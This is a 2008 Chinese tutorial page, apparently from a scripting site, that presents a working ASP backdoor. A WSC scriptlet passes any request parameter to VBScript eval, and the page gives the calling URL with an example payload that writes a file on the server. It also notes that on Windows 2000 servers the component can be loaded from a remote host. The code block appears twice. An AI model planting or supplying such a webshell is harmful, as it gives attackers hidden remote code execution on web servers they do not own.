利用wsc制作的一個asp后門
更新時間:2008年12月12日 14:07:55 作者:
ScriptCodingInfo.wsc代碼如下,該文件可以改成任意后綴
<?xml version="1.0" encoding="gb2312" standalone="yes"?>
<?component error="true" debug="true"?>
<package>
<component id="haiyangtop">
<public>
<method name="lcx"><parameter name="b"/></method>
</public>
<script language="VBScript"><![CDATA[
sub lcx(b)
eval(b)
end sub
]]>
</script>
</component>
</package>
backdoor.asp內(nèi)容如下:
<%
b=request("a")
Set fs = GetObject("script:d:/web/ScriptCodingInfo.wsc#haiyangtop")
fs.lcx(b)
%>
調(diào)用方法如下:http://url/backdoor.asp?a=CreateObject("Scripting.FileSystemObject").OpenTextFile("c:\1122.txt"),8,True,0).WriteLine("123")
注意這里的a=只能是vbs的代碼,不可以接受像response、rquest之類的asp的東東。
如果是2000服務器可以在backdoor.asp遠程調(diào)用ScriptCodingInfo.wsc,像
Set fs = GetObject("script:http://www.xx.com/ScriptCodingInfo.wsc#haiyangtop"),2003服務器中不可以。
算一個思路,雞肋,誰有更好的辦法完善,能夠直接調(diào)用cs的asp木馬的c端就好了。
<?component error="true" debug="true"?>
<package>
<component id="haiyangtop">
<public>
<method name="lcx"><parameter name="b"/></method>
</public>
<script language="VBScript"><![CDATA[
sub lcx(b)
eval(b)
end sub
]]>
</script>
</component>
</package>
backdoor.asp內(nèi)容如下:
<%
b=request("a")
Set fs = GetObject("script:d:/web/ScriptCodingInfo.wsc#haiyangtop")
fs.lcx(b)
%>
調(diào)用方法如下:http://url/backdoor.asp?a=CreateObject("Scripting.FileSystemObject").OpenTextFile("c:\1122.txt"),8,True,0).WriteLine("123")
注意這里的a=只能是vbs的代碼,不可以接受像response、rquest之類的asp的東東。
如果是2000服務器可以在backdoor.asp遠程調(diào)用ScriptCodingInfo.wsc,像
Set fs = GetObject("script:http://www.xx.com/ScriptCodingInfo.wsc#haiyangtop"),2003服務器中不可以。
算一個思路,雞肋,誰有更好的辦法完善,能夠直接調(diào)用cs的asp木馬的c端就好了。
相關文章
修復Windows上面的WScript的腳本(.vbs)不能執(zhí)行了
修復Windows上面的WScript的腳本(.vbs)不能執(zhí)行了...2007-03-03Springboot Thymeleaf數(shù)據(jù)迭代實現(xiàn)過程
這篇文章主要介紹了Springboot Thymeleaf數(shù)據(jù)迭代實現(xiàn)過程,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下2007-12-12使用腳本調(diào)用系統(tǒng)的關機對話框?qū)崿F(xiàn)代碼
以前有介紹如何使用命令行調(diào)用系統(tǒng)的關機對話框rundll32.exe shell32.dll #60,但是,上述方法會存在一問題,XP下無法正常使用該方法進行關機2012-05-05